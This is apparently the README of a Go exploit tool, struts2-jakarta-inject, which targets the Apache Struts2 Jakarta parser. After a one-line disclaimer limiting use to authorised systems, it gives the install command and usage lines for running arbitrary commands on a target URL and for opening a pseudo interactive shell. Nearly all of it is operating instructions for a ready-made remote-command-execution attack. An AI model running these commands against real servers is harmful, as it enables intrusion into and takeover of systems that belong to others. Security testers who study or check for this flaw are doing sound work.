Only use this exploit on systems you own or have explicit rights to test
If you have go already installed on your computer, go get is the way to go
go get github.com/Greynad/struts2-jakarta-inject
Single command execution
struts2-jakarta-inject -u <url> -c 'id'
Pseudo interactive shell
struts2-jakarta-inject -u <url> -i